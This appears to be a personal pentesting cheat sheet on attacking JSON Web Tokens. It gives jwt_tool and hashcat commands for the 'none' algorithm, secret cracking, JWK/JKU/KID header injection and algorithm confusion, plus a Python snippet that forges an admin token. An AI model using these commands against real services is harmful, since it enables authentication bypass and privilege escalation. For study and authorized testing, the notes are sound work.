JSON Web Token (JWT)

hacking_jwt json_web_token marketplace jwt

JSON Web Token (JWT) are used to represent signed data. They are commonly used in for authentication and authorization.

The format is: <algo>.<data>.<signature>. Each part is base64 encoded, so the final string is URL-safe while it can be easily decoded.

The data is signed using a secret key. If the secret key is compromised, everyone can sign messages πŸ”.

The signature is used to detect if data was tampered with.

They can be transferred and found in:

  • πŸ“š Headers (Authorization: Bearer <JWT>)
  • πŸͺ Cookies
  • πŸ“„ URL Parameters
  • πŸ’Ό Request Body
  • ...

πŸ“š JWT is a specification, JWS (mostly)/JWE are implementations.


JWT Tools

jwt-tools (Python)

You can use jwt-tools (5.4k ⭐) to attack JWT:

$ git clone https://github.com/ticarpi/jwt_tool.git $HOME/tools/jwt_tool
$ chmod +x $HOME/tools/jwt_tool/jwt_tool.py
$ ln -s $HOME/tools/jwt_tool/jwt_tool.py $HOME/.local/bin/jwt_tool
$ jwt_tool -h
$ jwt_tool 'jwt'             # decode
$ jwt_tool 'jwt' -T          # encode
$ jwt_tool 'jwt' -I -pc claim -pv value

jwt.io (Website)

You can also use jwt.io.


JWT wordlists

A common handy wordlist is jwt-secrets.

$ wget "https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list"

Common JWT Attacks

JWT β€” Unverified Signature

jwt_unverified_signature

It's possible for the signature to not be checked at all by the server.

$ jwt_tool 'jwt' -I -pc claim -pv value

JWT β€” Null Signature

jwt_introduction jwt_flawed_signature_verification

If the signature algorithm is not verified, you may set it to 'none,' and remove the signature that is not required anymore.

$ jwt_tool 'jwt' -T -X a     # attack 'algo=none'

πŸ“š You can use none, None, NONE, etc.


JWT β€” Weak Secret Key

jwt_weak_secret jwt_weak_key

The secret key may be weak and brute forced:

$ jwt_tool 'jwt' -C -d ./jwt.secrets.list # crack key
$ jwt_tool 'jwt' -T -p "key" # use secret key
$ jwt_tool 'jwt' -p "key" -S hs256 -I -pc claim -pv value
$ hashcat -m 16500 hash ./jwt.secrets.list

JWT β€” JWK Header Injection

jwt_header_injection jwt_jwk_injection

An application may use the jwk header to represent the RSA key used to sign the data. We may be able to inject our own RSA key.

$ jwt_tool 'jwt' -X i -T   # attack 'jwk header injection'
$ jwt_tool 'jwt' -X i -T -hc kid -hv jwt_tool  # with kid
$ jwt_tool 'jwt' -X i -I -hc kid -hv jwt_tool -pc claim -pv value

JWT β€” JKU Header Injection

jwt_unsecure_key_handling jwt_jku_injection

The jku header contains a URL or a filename used to fetch a key.

  • When a asymmetric algorithm such as RS is used:
$ cat $HOME/.jwt_tool/jwttool_custom_jwks.json # upload to URL as jwks.json
$ jwt_tool -ju "URL/jwks.json" -X s -I -hc kid -hv jwt_tool -pc claim -pv value

πŸ“š You may check: /jwks.json, /.well-known/jwks.json, etc. Refer to SSRF for insight (filtering, attacks, etc.) and setting up a grabber.


JWT β€” KID Header Injection

jwt_header_injection jwt_unsecure_key_handling jwt_public_key jwt_unsecure_file_signature jwt_kid_path_traversal

The kid header may be present in two scenarios. The first one is to define which key file contains the secret. The second usage is to determines which of the keys in the jku we should use.

$ # The file "/dev/null" is empty so -p is ""
$ jwt_tool "" -I -hc kid -hv "/dev/null" -S hs512 -p "" -pc claim -pv value

➑️ Refer to Path Traversal and my cheatsheet for more notes.


JWT β€” Algorithm Confusion Attack

jwt_public_key

When using RS256 algorithm, JWT uses the private key to sign the JWK and the public key to verify integrity. We may be able to perform a downgrade attack to HS256 and only use a public key for both.

$ jwt_tool 'jwt' -S hs256 -k public.key -T

You can compute the public key if you have two messages:

$ docker run -it ttervoort/jws2pubkey "JWT1" "JWT2"

Python JWT

The pyjwt (5.1k ⭐) library can be used to manipulate JWT in Python. There are two unmaintained alternatives which are:

headers = {
    'kid': '/dev/null'
}
payload = {
    'role': 'admin',
    'iat': int(datetime.datetime.now(datetime.UTC).timestamp())
}

To install it:

$ pip install pyjwt

To generate a JWT:

import jwt
token = jwt.encode(payload, '', algorithm='HS512', headers=headers)

To decode a JWT:

import jwt
payload = jwt.decode(token, '', algorithms=['HS512'])

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

  • PortSwigger JWT
  • jwtcrack/jwt2john
  • cty (if you can bypass the signature, to try to change the content type and perform deserialization/XXE attacks)
  • x5c (refer to related CVEs)
{
    "kid": "jwt_tool",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "...",
        "kid": "jwt_tool",
        "n": "..."
    }
}